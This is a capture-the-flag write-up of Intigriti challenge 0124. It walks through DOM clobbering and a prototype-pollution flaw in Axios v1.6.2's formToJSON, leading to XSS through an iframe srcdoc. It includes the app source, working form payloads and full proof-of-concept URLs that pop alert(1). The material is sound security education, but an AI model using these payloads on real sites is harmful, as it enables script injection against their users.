Logo
Published on

Intigriti challenge 0124 writeup

Authors

Source: Intigriti

Solves: 37

Introduction

Another challenge that teaches us about the dangers of using outdated dependencies which lead to major security implications. This time around we are dealing with prototype pollution which is a vulnerability that allows attackers to overwrite the prototype of a base object and thus leverage the change to perform malicious actions.

Reconnaissance

The entry point is yet another simple web application with two input fields, the first input field is the name of the user and the second one is the repository name to search for. The name is displayed on the screen whereas the repository image, description and website (if it exists) are rendered afterwards.

Landing page

Landing

Repo search page

Landing2

The first thought that comes to mind is to go for XSS via the name input field.

Source code analysis

Downloading the source we can see that it is a NodeJS appliaction, specifically using express, dompurify, ejs and jsdom.

The app.js file has 2 main routes: / and /search

const createDOMPurify = require("dompurify");
const repos = require("./repos.json");
const { JSDOM } = require("jsdom");
const express = require("express");
const path = require("path");

// App config
const app  = express();
app.set("view engine", "ejs");
app.set('view cache', false);
app.use(express.json());
const PORT = 3000;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

// Middlewares
app.use("/static", express.static(path.join(__dirname, "static")));

// Routes
app.get("/", (req, res) => {
    if (!req.query.name) {
        res.render("index");
	return;
    }
    res.render("search", {
        name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
        search: req.query.search
    });
});

app.post("/search", (req, res) => {
    name = req.body.q;
    repo = {};

    for (let item of repos.items) {
        if (item.full_name && item.full_name.includes(name)) {
            repo = item
	    break;
        }
    }
    res.json(repo);
});

// Run
app.listen(PORT, () => {
    console.log(`App listening on port ${PORT}!`)
});

We are mainly interested in the /search route. The logic follows:

  1. It sets the repo name to a variable.
  2. Loops through all the static repos from the repos.json file.
  3. If the supplied name is included in any of the full_name values and full_name is present that object is returned.
    • If there are no matches {} is returned.

Templating

The other interesting file we should be looking at is the search.ejs template.

<%- include("inc/header"); %>
<h2><%- name %>,<br>Which repo are you looking for?</h2>

<form id="search">
    <input name="q" value="<%= search %>">
</form>

<hr>

<img src="/static/img/loading.gif" class="loading" width="50px" hidden><br>
<img class="avatar" width="35%">
<p id="description"></p>
<iframe id="homepage" hidden></iframe>

<script src="/static/js/axios.min.js"></script>
<script src="/static/js/jquery-3.7.1.min.js"></script>
<script>
    function search(name) {
        $("img.loading").attr("hidden", false);
        axios.post("/search", $("#search").get(0), {
            "headers": { "Content-Type": "application/json" }
        }).then((d) => {
            $("img.loading").attr("hidden", true);
            const repo = d.data;
            if (!repo.owner) {
                alert("Not found!");
                return;
            };

            $("img.avatar").attr("src", repo.owner.avatar_url);
            $("#description").text(repo.description);
            if (repo.homepage && repo.homepage.startsWith("https://")) {
                $("#homepage").attr({
                    "src": repo.homepage,
                    "hidden": false
                });
            };
        });
    };

    window.onload = () => {
        const params = new URLSearchParams(location.search);
        if (params.get("search")) search();

        $("#search").submit((e) => {
            e.preventDefault();
            search();
        });
    };
</script>
</body>
</html>

Testing out old solution

Considering ejs is used as the templating engine we can go back a few challenges, specifically Intigriti challenge 1023 where <%- was being used to render user supplied content. This means that any HTML that is supplied will not be sanitized. If we want sanitization we should be using <%= as specified the docs.

<h2><%- name %>,<br>Which repo are you looking for?</h2>

It is highly unlikely that we can bypass DOMPurify regularly and directl inject a script tag as we did, but from playing around we can see that we can easily perform DOM clobbering by closing the h2 tag and adding our own html.

</h2><h1> Hey there </h1> results in:

DOM clobbering

Here I spent some time to perhaps replicate the same solution as the aforementioned challenge by closing the title tag inside an attribute of an image.

</h2>
<title>
<img class="<&#x2F;title> <script>alert(1)</script>" />
</title>

This does not work since the forward slash was getting normalized and not treated as a valid closing tag. Similar attempts by closing the h2 tag did not work as well which was expected and the solution was probably not as simple this time around.

After failing to capitalize on the previous solution our focus will shift around the form submit and display logic.

    function search(name) {
        $("img.loading").attr("hidden", false);
        axios.post("/search", $("#search").get(0), {
            "headers": { "Content-Type": "application/json" }
        }).then((d) => {
            $("img.loading").attr("hidden", true);
            const repo = d.data;
            if (!repo.owner) {
                alert("Not found!");
                return;
            };

            $("img.avatar").attr("src", repo.owner.avatar_url);
            $("#description").text(repo.description);
            if (repo.homepage && repo.homepage.startsWith("https://")) {
                $("#homepage").attr({
                    "src": repo.homepage,
                    "hidden": false
                });
            };
        });
    };

Exploitation

By the time I started focusing on the form the first hint was published which stated:

Use what is old to break the new, seek the changes in history, let past revisions unveil the key.

Admiring the poetry we can translate it to:

Thou should'st check the git history of the used dependencies.

I spent some time digging around recent security commits and fixes for the npm libraries but was not finding anything out of the ordinary. That is when eternalkyu pinged me whether I was doing the challenge. I confirmed so we started brainstorming ideas and potential attack vectors.

After a while he pointed to a really interesting commit in the axios library. Turns out I overlooked that axios was being used since I focused on the package.json file exclusively. If we search for axios in the source, we can find a minifed js file axios.min.js that contains the axios logic.

This file reveals that the version in use is Axios v1.6.2, which does not have the fix. The commit addresses a prototype pollution vulnerability in the formToJSON method.

The specific line that fixes this is if (name === '__proto__') return true;.

In this line, the code checks whether the name of the property being processed is equal to __proto__. If it is, it returns true. This means that if a property with the name __proto__ is encountered in the FormData, the function will terminate early and not continue processing it.

Overriding the form

We can try to exploit the potential prototype pollution by somehow overriding the form. Performing further analysis on the source code we can see that the form is being submit by its id.

axios.post("/search", $("#search").get(0), {
    "headers": { "Content-Type": "application/json" }
}) // ...

// ...

$("#search").submit((e) => {
    e.preventDefault();
    search();
});

From our previous finding, we can use the dom clobbering technique to override the form ID and set our own arbitrary values in the __proto__ object.

We can do a simple check by:

</h2>
<form id="search"> 
<input name="q" value="siege-media/contrast-ratio">
<input type="text" name="__proto__.test" value="hey there"/>
</form>

We also need to set the search query param so the submit is triggered.

PoC

https://challenge-0124.intigriti.io/challenge?name=%3C%2Fh2%3E+%3Cform+id%3D%22search%22%3E++%3Cinput+name%3D%22q%22+value%3D%22siege-media%2Fcontrast-ratio%22%3E+%3Cinput+type%3D%22text%22+name%3D%22__proto__.test%22+value%3D%22hey+there%22%2F%3E+%3C%2Fform%3E&search=a

Opening the browser console and entering document.test we get the value that we set.

Initial prototype pollution

This means our exploit was successfull and we were able to perform the prototype pollution. Next steps would be to somehow get a value to display on the page. This took me a while and a lot of digging about prototype pollution and javascript internals that I was missing. I tried setting various attributes and values, but to no avail.

Exploit

Finally I had a breakthrough when testing out different combinations of __proto__ payloads, turns out that if I try to assign a value in the name field of the form we get unexpected behaviour and the attribute is passed and set in the iframe.

</h2>
<form id="search"> 
<input name="q" value="siege-media/contrast-ratio">
<input type="text" name="__proto__.test=test" value="hey"/>
</form>
IFrame pollution

This is very promising, after searching for iframe attributes we can see that we can use srcdoc which shows inside the frame as html. Was not straightforward to get the right payload since i kept getting [object Object], however finally I managed to by overriding it twice in the form.

</h2>
<form id="search"> 
    <input name="q" value="siege-media/contrast-ratio">
    <input type="text" name="__proto__.srcdoc=test" value="test"/>
    <input type="text" name="__proto__.srcdoc" value="<script>alert(1)</script>"/>
</form>

This translates to srcdoc="[object Object], <script>alert(1)</script>" and gets evaluated in the iframe.

PoC

https://challenge-0124.intigriti.io/challenge?name=%3C%2Fh2%3E+%3Cform+id%3D%22search%22%3E++%3Cinput+name%3D%22q%22+value%3D%22siege-media%2Fcontrast-ratio%22%3E+%3Cinput+type%3D%22text%22+name%3D%22__proto__.srcdoc%3Dtest%22+value%3D%22test%22%2F%3E+%3Cinput+type%3D%22text%22+name%3D%22__proto__.srcdoc%22+value%3D%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%2F%3E+%3C%2Fform%3E&search=siege-media/contrast-ratio

This gives us the XSS and concludes the challenge! (There was no flag this time around).

XSS

Final words

Turns out this was not the intended solution which made this challenge even more interesting and rewarding. Can't wait to see what the intended solution is.